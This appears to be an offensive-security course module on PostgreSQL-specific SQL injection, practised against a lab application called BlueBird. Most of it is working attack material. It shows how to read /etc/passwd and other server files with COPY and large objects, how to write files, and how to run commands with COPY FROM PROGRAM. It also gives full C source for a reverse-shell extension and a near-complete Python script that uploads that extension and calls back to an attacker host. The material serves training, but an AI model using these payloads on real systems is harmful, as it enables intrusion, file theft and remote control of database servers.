PostgreSQL-Specific Techniques

Reading and Writing Files

Introduction

Next, we will be looking at techniques we can use when exploiting `SQL injections` that specifically target `PostgreSQL` databases.

In this section, we'll take a look at two methods we can use for reading and writing files to and from the server, and then we'll cover an interactive example in `BlueBird` to practice.

Method 1: COPY

The first method for interacting with files on the server via a `PostgreSQL injection` is making use of the built in COPY command. The intended use of this command is to import/export tables, but we can use it to read pretty much anything. The file operations run on the system as the `postgres` user though, so keep in mind that it's only possible to read/write files according to the user's permissions.

Reading Files

To read a file from the filesystem, we can use the `COPY FROM` syntax to `copy` data from a file into a table in the database. To make things easy, we can create a temporary table with one text column, copy the contents of our target file into it and then drop it after selecting the contents like this:

```
bluebird=# CREATE TABLE tmp (t TEXT);
CREATE TABLE
bluebird=# COPY tmp FROM '/etc/passwd';
COPY 59
bluebird=# SELECT * FROM tmp LIMIT 5;
                         t
------------------------------------------------
 root:x:0:0:root:/root:/usr/bin/zsh
 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 bin:x:2:2:bin:/bin:/usr/sbin/nologin
 sys:x:3:3:sys:/dev:/usr/sbin/nologin
 sync:x:4:65534:sync:/bin:/bin/sync
```

```
(5 rows)

bluebird=# DROP TABLE tmp;
DROP TABLE
```

One issue with using `COPY` to read files, is that it expects data to be seperated into columns. By default it treats `\t` as a column, so if you try to read a file like `/etc/hosts` you will run into this error:

```
bluebird=# COPY tmp FROM '/etc/hosts';
ERROR:  extra data after last expected column
CONTEXT:  COPY tmp, line 1: "127.0.0.1  localhost"
```

Unfortunately there is no perfect solution to getting around this, but what we can do is change the `delimiter` from `\t` to some character that is unlikely to appear in the data like this:

```
bluebird=# COPY tmp FROM '/etc/hosts' DELIMITER E'\x07';
COPY 7
bluebird=# SELECT * FROM tmp;
                             t
-------------------------------------------------------------
 127.0.0.1       localhost
 127.0.1.1       kali

 # The following lines are desirable for IPv6 capable hosts
 ::1     localhost ip6-localhost ip6-loopback
 ff02::1 ip6-allnodes
 ff02::2 ip6-allrouters
(7 rows)
```

Writing Files

Writing files using `COPY` works very similarly- instead of `COPY FROM` we will use `COPY TO` to copy data from a table into a file. It is a good idea to use a temporary table to avoid leaving traces behind.

mayala@htb[/htb] `bluebird=# CREATE TABLE tmp (t TEXT); CREATE TABLE bluebird=# INSERT INTO tmp VALUES ('To hack, or not to hack, that is the question'); INSERT 0 1 bluebird=# COPY tmp TO '/tmp/proof.txt'; COPY 1 bluebird=# DROP TABLE tmp; DROP TABLE bluebird=# exit $ cat /tmp/proof.txt To hack, or not to hack, that is the question`

Since all data is put into one column, there is no issue with delimiters when it comes to writing files.

Permissions

In order to use `COPY` to read/write files, the user must either have the pg_read_server_files / pg_write_server_files role respectively, or be a superuser.

Checking if a user is a superuser is quite straightforward and can be easily tested in blind injection scenarios:

```
bluebird=# SELECT current_setting('is_superuser');
 current_setting
-----------------
 on
(1 row)
```

Checking if a user has a specific role is not so simple. Locally we could run `\du`, but through an injection we would need something like:

```
bluebird=# SELECT r.rolname, ARRAY(SELECT b.rolname FROM
pg_catalog.pg_auth_members m JOIN pg_catalog.pg_roles b ON (m.roleid =
b.oid) WHERE m.member = r.oid) as memberof FROM pg_catalog.pg_roles r WHERE
r.rolname='fileuser';
 rolname  |        memberof
----------+------------------------
 fileuser | {pg_read_server_files}
(1 row)
```

Method 2: Large Objects

The second method for dealing with files is with large objects. This is a bit trickier than the `COPY` function, but at the same time it is a very powerful feature.

Reading Files

To read a file, we should first use `lo_import` to load the file into a new `large object`. This command should return the `object ID` of the large object which we will need to reference later on.

```
bluebird=# SELECT lo_import('/etc/passwd');
 lo_import
-----------
     16513
(1 row)
```

Once the file is imported we should get an `object ID`. The file will be stored in the `pg_largeobjects` table as a hexstring. If the size of the file is larger than `2kb`, the `large object` will be split up into `pages` each `2kb` large (`4096` characters when hex encoded). We can get the contents with `lo_get(<object id>)`:

```
bluebird=# SELECT lo_get(16513);
<SNIP>\x726f6f743a783a303a303a726f6f743a2...<SNIP>
```

Alternatively, you can select data directly from `pg_largeobject`, but this requires specifying the page numbers as well:

```
bluebird=# SELECT data FROM pg_largeobject WHERE loid=16513 AND pageno=0;
bluebird=# SELECT data FROM pg_largeobject WHERE loid=16513 AND pageno=1;
<SNIP>
```

Once we've obtained the hexstring, we can convert it back using `xxd` like this:

mayala@htb[/htb] `$ echo 726f6f743<SNIP> | xxd -r -p`
`root:x:0:0:root:/root:/usr/bin/zsh`
`daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin`
`bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin`
`sync:x:4:65534:sync:/bin:/bin/sync`
`games:x:5:60:games:/usr/games:/usr/sbin/nologin`
`man:x:6:12:man:/var/cache/man:/usr/sbin/nologin`
`lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nolog <SNIP>`

Unfortunately, it's not possible to specify an `object ID` when creating the large object, so it does make things harder if you are doing this blindly. One thing you could do is select all `object IDs` from the `pg_largeobject` table and figure out which one is yours:

```
bluebird=# SELECT DISTINCT loid FROM pg_largeobject;
 loid
-------
 16515
(1 row)
```

Writing Files

Writing files using `large objects` is a very similar process. Essentially we will create a large object, insert hex-encoded data `2kb` at a time and then export the large object to a file on disk.

First we need to prepare the file we want to upload by splitting it up into `2kb` chunks:

mayala@htb[/htb] `$ split -b 2048 /etc/passwd $ ls -l total 8 -rw-r--r-- 1 kali kali 2048 Feb 25 06:52 xaa -rw-r--r-- 1 kali kali 1328 Feb 25 06:52 xab`

We'll convert each chunk (`xaa,xab,...`) into hex-strings like this:

mayala@htb[/htb] `$ xxd -ps -c 99999999999 xaa 726f6f743a783a303a303a726<SNIP>`

Once that's ready, we can create a `large object` with a known `object ID` with `lo_create`, then insert the hex-encoded data one page at a time into `pg_largeobject`, export the `large object` by `object ID` to a specific path with `lo_export` and then finally delete the object from the database with `lo_unlink`.

mayala@htb[/htb] `bluebird=# SELECT lo_create(31337); lo_create ----------- 31337 (1 row) bluebird=# INSERT INTO pg_largeobject (loid, pageno, data) VALUES (31337, 0, DECODE('726f6f74<SNIP>6269','HEX')); INSERT 0 1 bluebird=# INSERT INTO pg_largeobject (loid, pageno, data) VALUES (31337, 1, DECODE('6e2f626173<SNIP>96e0a','HEX')); INSERT 0 1 bluebird=# SELECT lo_export(31337, '/tmp/passwd'); lo_export ----------- 1 (1 row) bluebird=# SELECT lo_unlink(31337); lo_unlink ----------- 1 (1 row) bluebird=# exit $ head /tmp/passwd root:x:0:0:root:/root:/usr/bin/zsh daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin`

Depending on user permissions, the `INSERT` queries may fail. In that case you could try using `lo_put` as it is described in the documentation:

```
bluebird=# SELECT lo_put(31337, 0, 'this is a test');
 lo_put
--------
```

```
(1 row)
```

Permissions

Any user can create or unlink large objects, but importing, exporting or updating the values require the user to either be a superuser, or to have explicit permissions granted. You may read more about this here.

Command Execution

Introduction

In this section we will take a look at two ways you can run commands via a `PostgreSQL injection`.

Method 1: COPY

The first method makes use of the built-in COPY command once again. As it turns out, aside from reading and writing files, `COPY` also lets us store data from a `program` in a table. What this means is that we can get `PostgreSQL` to run shell commands as the `postgres` user, store the results in a table, and read them out.

```
bluebird=# CREATE TABLE tmp(t TEXT);
CREATE TABLE
bluebird=# COPY tmp FROM PROGRAM 'id';
COPY 1
bluebird=# SELECT * FROM tmp;
                                   t
------------------------------------------------------------------------
 uid=119(postgres) gid=124(postgres) groups=124(postgres),118(ssl-cert)
(1 row)

bluebird=# DROP TABLE tmp;
DROP TABLE
bluebird=# exit
```

Interestingly enough, this functionality is assigned a CVE (CVE-2019-9193), however the PostgreSQL team issued a statement that this is intended functionality and therefore not a security issue.

Permissions

In order to use `COPY` for remote code execution, the user must have the pg_execute_server_program role, or be a superuser.

Method 2: PostgreSQL Extensions

A second, slightly more complicated way of running commands in `PostgreSQL` is by creating a `PostgreSQL extension`. Extensions are libraries that can be loaded into `PostgreSQL` to add custom functionalities.

As an example, we will walk through compiling and using the following custom `C` extension for `PostgreSQL` that returns a `reverse shell` as the `postgres` user:

Code: c

```
// Reverse Shell as a Postgres Extension
// William Moody (@bmdyy)
// 08.02.2023

// CREATE FUNCTION rev_shell(text, integer) RETURNS integer AS
'.../pg_rev_shell', 'rev_shell' LANGUAGE C STRICT;
// SELECT rev_shell('127.0.0.1', 443);
// DROP FUNCTION rev_shell;

// sudo apt install postgresql-server-dev-<version>
// gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_rev_shell.so
pg_rev_shell.c

#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>

#include "postgres.h"
#include "fmgr.h"
#include "utils/builtins.h"

PG_MODULE_MAGIC;

PG_FUNCTION_INFO_V1(rev_shell);

Datum
rev_shell(PG_FUNCTION_ARGS)
```

```
{
    // Get arguments
    char *LHOST = text_to_cstring(PG_GETARG_TEXT_PP(0));
    int32 LPORT = PG_GETARG_INT32(1);

    // Define necessary struct
    struct sockaddr_in serv_addr;
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(LPORT); // LPORT
    inet_pton(AF_INET, LHOST, &serv_addr.sin_addr); // LHOST

    // Connect to target
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    int client_fd = connect(sock, (struct sockaddr*)&serv_addr,
sizeof(serv_addr));

    // Redirect STDOUT/IN/ERR to connection
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);

    // Start interactive /bin/sh
    execve("/bin/sh", NULL, NULL);

    PG_RETURN_INT32(0);
}
```

Note: This specific exploit targets PostgreSQL running on `Linux`. The process for writing and compiling an exploit for `Windows` is very similar, it just requires different API calls and compiling to a DLL.

Near the beginning of the file, you may notice the line `PG_MODULE_MAGIC`. To avoid issues due to incompatibilities, `PostgreSQL` will only allow you to load extensions which were compiled for the correct (major) version. In this case, the version of `PostgreSQL` that we are targeting is `13.9`.

To compile this extension, we need to first install the `postgresql-server-dev` package for version `13`:

mayala@htb[/htb] `$ sudo apt install postgresql-server-dev-13`

Once it is installed, we can use `gcc` to compile it to a shared library object like so:

mayala@htb[/htb] `$ gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_rev_shell.so pg_rev_shell.c`

The next step is to upload `pg_rev_shell.so` to the webserver. It doesn't matter how you do this (`COPY` or `Large Objects`), as long as you know the exact path it was uploaded to. Once it's been uploaded, we can run `CREATE FUNCTION` to load the `rev_shell` function from the library into the database and then call it to get a reverse shell.

```
bluebird=# CREATE FUNCTION rev_shell(text, integer) RETURNS integer AS
'/tmp/pg_rev_shell', 'rev_shell' LANGUAGE C STRICT;
CREATE FUNCTION
bluebird=# SELECT rev_shell('127.0.0.1', 443);
server closed the connection unexpectedly
        This probably means the server terminated abnormally
        before or while processing the request.
```

Note: Even though the file is `pg_rev_shell.so`, the extension is dropped in the `PostgreSQL command`.

When you run the second SQL command, it is expected for the database to hang since it's waiting for the function (reverse shell) to finish. If you check your listener, you should receive a reverse shell as `postgres`.

mayala@htb[/htb] `$ nc -nvlp 443 listening on [any] 443 ... connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 45692 whoami postgres exit`

After you're done running commands, make sure to clean up after yourself by dropping the function from the database, as well as any large objects you may have created (depending on how you uploaded the library):

```
bluebird=# DROP FUNCTION rev_shell;
DROP FUNCTION
bluebird=# SELECT lo_unlink(58017);
 lo_unlink
-----------
         1
(1 row)
```

Note: If you'd prefer, you can use the `testing VM` for compilation, where `gcc` and `postgresql-server-dev-13` are already installed.

Permissions

Not every user can create functions in PostgreSQL. To do so, a user must be either a `superuser`, or have the `CREATE` privilege granted on the `public` schema.

Additionally, `C` must have been added as a `trusted` language, since it is untrusted by default for all (non-super) users.

For reference check out the PSQL Documentation and this answer on StackOverflow.

Automation / Writing an Exploit

In some cases it may make sense to write an exploit script to `automate` the steps for you. Uploading a shared library via large objects and then invoking a function call can require many requests and submitting those all manually can get quite tedious, so this is a good scenario to write a script to do it for you.

Here is a nearly completed script which automates (unauthenticated) command execution against BlueBird. Feel free to use it as a base for the exercise portion of this section.

Code: python

```
#!/usr/bin/python3

import requests
import random
import string
from urllib.parse import quote_plus
import math

# Parameters for call to rev_shell
LHOST = "192.168.0.122"
LPORT = 443

# Generate a random string
def randomString(N):
    return ''.join(random.choices(string.ascii_letters + string.digits,
k=N))

# Inject a query
def sqli(q):
    # TODO: Use an SQL injection to run the query `q`

# Read the compiled extension
with open("pg_rev_shell.so","rb") as f:
    raw = f.read()

# Create a large object
loid = random.randint(50000,60000)
```

```
sqli(f"SELECT lo_create({loid});")
print(f"[*] Created large object with ID: {loid}")

# Upload pg_rev_shell.so to large object
for pageno in range(math.ceil(len(raw)/2048)):
    page = raw[pageno*2048:pageno*2048+2048]
    print(f"[*] Uploading Page: {pageno}, Length: {len(page)}")
    sqli(f"INSERT INTO pg_largeobject (loid, pageno, data) VALUES ({loid},
{pageno}, decode('{page.hex()}','hex'));")

# Write large object to file and run reverse shell
query  = f"SELECT lo_export({loid}, '/tmp/pg_rev_shell.so');"
query += f"SELECT lo_unlink({loid});"
query += "DROP FUNCTION IF EXISTS rev_shell;"
query += "CREATE FUNCTION rev_shell(text, integer) RETURNS integer AS
'/tmp/pg_rev_shell', 'rev_shell' LANGUAGE C STRICT;"
query += f"SELECT rev_shell('{LHOST}', {LPORT});"
print(f"[*] Writing pg_rev_shell.so to disk and triggering reverse shell
(LHOST: {LHOST}, LPORT: {LPORT})")
sqli(query)
```